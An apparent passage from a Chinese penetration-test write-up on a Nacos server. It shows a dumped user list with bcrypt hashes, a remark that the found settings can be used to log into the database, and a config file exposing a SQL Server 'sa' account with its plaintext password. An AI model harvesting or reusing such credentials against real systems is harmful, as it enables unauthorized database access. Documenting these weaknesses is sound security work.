{"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$VjLkR9v3BvyQRxXVTvPh1ObfoQqfrK.YAWfKjRCSaJzUef5EgXOH2"},{"username":"nacosuser","password":"$2a$10$rOADrelU2Iu/ef7iA2/rH.AbsfbMEfPJlsehoyxju4uNIc/JDXRnO"}]}

其实到这一步就可以了

登陆后也可以用发现的这个去连数据库。

1
2
3
4
5
6
7
8
### Connect URL of DB:
spring.datasource.platform=mssql
db.url.0=jdbc:sqlserver://localhost:1433;DatabaseName=nacos;sendStringParametersAsUnicode=false
db.user=sa
db.password=M1sc@Admin
db.pool.config.driverClassName=com.microsoft.sqlserver.jdbc.SQLServerDriver
# SQL Server的测试查询语句
db.pool.config.connectionTestQuery=SELECT 1